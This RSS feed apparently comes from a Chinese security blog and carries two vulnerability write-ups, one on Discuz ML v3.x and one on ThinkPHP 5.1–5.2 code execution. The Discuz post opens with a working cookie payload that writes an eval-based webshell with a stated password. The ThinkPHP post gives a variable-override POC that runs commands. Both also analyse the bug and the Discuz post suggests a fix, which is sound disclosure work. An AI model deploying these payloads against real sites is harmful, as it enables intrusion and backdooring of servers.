<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>代码执行 &#8211; ChaBug安全</title>
	<atom:link href="/tags/%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Fri, 23 Aug 2019 01:17:54 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>Discuz Ml v3.x 代码执行分析</title>
		<link>/audit/671.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 11 Jul 2019 14:34:52 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[dz]]></category>
		<category><![CDATA[exec]]></category>
		<category><![CDATA[exp]]></category>
		<category><![CDATA[getshell]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[代码执行]]></category>
		<guid isPermaLink="false">/?p=671</guid>

					<description><![CDATA[昨天晚上Discuz Ml爆出了漏洞，今天来分析一波。 exp 修改Cookie中的xxxx_language字段为以下内容即可 %27.+file_put_contents%28...]]></description>
										<content:encoded><![CDATA[<p>昨天晚上Discuz Ml爆出了漏洞，今天来分析一波。</p>
<h2><span class="wpcom_tag_link"><a href="/tags/exp" title="exp" target="_blank">exp</a></span></h2>
<p>修改Cookie中的xxxx_language字段为以下内容即可</p>
<pre><code class="language-php ">%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2547%2545%2554%255b%2522a1%2522%255d%29%253b%253f%253e%27%29%29.%27
</code></pre>
<p>访问网站首页则会在根目录下生成木马文件,shell.php 密码为a1</p>
<p><img src="https://ae01.alicdn.com/kf/UTB8_Dhrw9bIXKJkSaef761asXXaa.png" alt="20190711205534.png" /></p>
<h2>定位漏洞位置</h2>
<p>解码exp</p>
<pre><code class="">'.+file_put_contents('shell.php',urldecode('&lt;?php+ eval($_GET["a1"]);?&gt;')).'
</code></pre>
<p>修改exp为<code>_language=1.1.1;</code>使其报错。</p>
<ul>
<li><img src="https://ae01.alicdn.com/kf/UTB8Hrllw__IXKJkSalU761BzVXat.png" alt="20190711210101.png" /></li>
</ul>
<p>定位到653行</p>
<p><img src="https://ae01.alicdn.com/kf/UTB8TMXHw1vJXKJkSajh7637aFXaX.png" alt="20190711211456.png" /></p>
<p>关键代码644行</p>
<pre><code class="language-php ">$cachefile = './data/template/'.DISCUZ_LANG.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';
</code></pre>
<p><code>cachefile</code>变量是缓存文件，将其写入到<code>/data/template/</code>目录下，并且由<code>DISCUZ_LANG</code>拼接，追踪下<code>DISCUZ_LANG</code>的值<br />
2088-2096行</p>
<pre><code class="language-php ">global $_G;
if($_G['config']['output']['language'] == 'zh_cn') {
return 'SC_UTF8';
} elseif ($_G['config']['output']['language'] == 'zh_tw') {
return 'TC_UTF8';
} else {
//vot !!!! ToDo: Check this for other languages !!!!!!!!!!!!!!!!!!!!!
/*vot*/         return strtoupper(DISCUZ_LANG) . '_UTF8';
}
</code></pre>
<p>可以看到<code>$_G['config']['output']['language']</code>作为<code>DISCUZ_LANG</code>的值</p>
<p>全局搜索<code>['language']</code></p>
<p>source/class/discuz/discuz_application.php 305行，发现是从cookie中拿到language的值</p>
<p><img src="https://ae01.alicdn.com/kf/UTB86WNtw9bIXKJkSaef761asXXaB.png" alt="20190711212635.png" /></p>
<p>那么到这里整个漏洞的流程就很明显了，cookie中<code>language</code>参数可控导致<code>DISCUZ_LANG</code>可控，从而导致<code>cachefile</code>的文件名可被注入代码，最终<code>include_once</code>包含一下导致了造成<span class="wpcom_tag_link"><a href="/tags/%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c" title="代码执行" target="_blank">代码执行</a></span>。</p>
<p>phpinfo验证</p>
<p><code>Ov1T_2132_language='.phpinfo().';</code></p>
<p><img src="https://ae01.alicdn.com/kf/UTB8HphiwYnJXKJkSahG760hzFXaN.png" alt="20190711214222.png" /></p>
<h2>修复建议</h2>
<p>截止到本文发布之前，补丁还没有出来。</p>
<p>建议修改source/function/function_core.php 644行为</p>
<pre><code class="language-php ">/*vot*/ $cachefile = './data/template/'.'sc'.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';
</code></pre>
<p>删除可控变量</p>
<h2>写在文后</h2>
<p>其实从漏洞点的注释上来看就知道这是一个未完成的部分，毕竟还是<code>TODO</code>，开发人员得背锅。不过我怎么没有这种好运气呢，呜呜呜😭</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Thinkphp5.1 ~ 5.2 全版本代码执行</title>
		<link>/web/643.html</link>
					<comments>/web/643.html#comments</comments>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 15 Jan 2019 08:02:21 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[编程学习]]></category>
		<category><![CDATA[thinkphp]]></category>
		<category><![CDATA[代码执行]]></category>
		<guid isPermaLink="false">/?p=643</guid>

					<description><![CDATA[序言 最近爆出了Thinkphp5.0.*全版本代码执行，其中5.1与5.2全版本在生产环境下下同样也存在代码执行 漏洞分析： 文件位置：\thinkphp\library\thi...]]></description>
										<content:encoded><![CDATA[<h3>序言</h3>
<p>最近爆出了Thinkphp5.0.*全版本<span class="wpcom_tag_link"><a href="/tags/%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c" title="代码执行" target="_blank">代码执行</a></span>，其中5.1与5.2全版本在<strong>生产环境下</strong>下同样也存在代码执行</p>
<hr />
<h3>漏洞分析：</h3>
<p>文件位置：\<span class="wpcom_tag_link"><a href="/tags/thinkphp" title="thinkphp" target="_blank">thinkphp</a></span>\library\think\Request.php</p>
<pre class="lang:default decode:true prettyprint prettyprinted ">    /**
     * 当前的请求类型
     * @access public
     * @param  bool $origin  是否获取原始请求类型
     * @return string
     */
    public function method($origin = false)
    {
        if ($origin) {
            // 获取原始请求类型
            return $this-&gt;server('REQUEST_METHOD') ?: 'GET';
        } elseif (!$this-&gt;method) {
            if (isset($_POST[$this-&gt;config['var_method']])) {
                $this-&gt;method    = strtoupper($_POST[$this-&gt;config['var_method']]);
                $method          = strtolower($this-&gt;method);
                $this-&gt;{$method} = $_POST;
            } elseif ($this-&gt;server('HTTP_X_HTTP_METHOD_OVERRIDE')) {
                $this-&gt;method = strtoupper($this-&gt;server('HTTP_X_HTTP_METHOD_OVERRIDE'));
            } else {
                $this-&gt;method = $this-&gt;server('REQUEST_METHOD') ?: 'GET';
            }
        }

        return $this-&gt;method;
    }</pre>
<p>其中：</p>
<pre class="lang:default decode:true prettyprint prettyprinted">$this-&gt;method    = strtoupper($_POST[$this-&gt;config['var_method']]);
$method          = strtolower($this-&gt;method);
$this-&gt;{$method} = $_POST;</pre>
<p>$method变量是$this-&gt;method，其同等于POST的”_method”参数值</p>
<p>然后该处存在一个变量覆盖</p>
<p>我们可以覆盖 $filter 属性值(POC如下)</p>
<pre class="lang:default decode:true prettyprint prettyprinted">c=exec&amp;f=calc.exe&amp;&amp;_method=filter&amp;</pre>
<p>访问如下图所示：</p>
<p><img src="http://boomeye.com/statics/wordpress/1.png" alt="1547216389386" /></p>
<p>会爆出一个警告级别的异常，导致程序终止</p>
<h3>如何触发：</h3>
<p>如果设置忽略异常提示，如下图：</p>
<p><img src="http://boomeye.com/statics/wordpress/2.png" alt="1547216439115" /></p>
<p>本身项目发布就需要屏蔽异常和错误所以这个配置是一个正常的配置</p>
<h3>Payload（POST请求）:</h3>
<p><img src="http://boomeye.com/statics/wordpress/3.png" alt="1547216479219" /></p>
<p>弹出计算器</p>
]]></content:encoded>
					
					<wfw:commentRss>/web/643.html/feed</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
	</channel>
</rss>
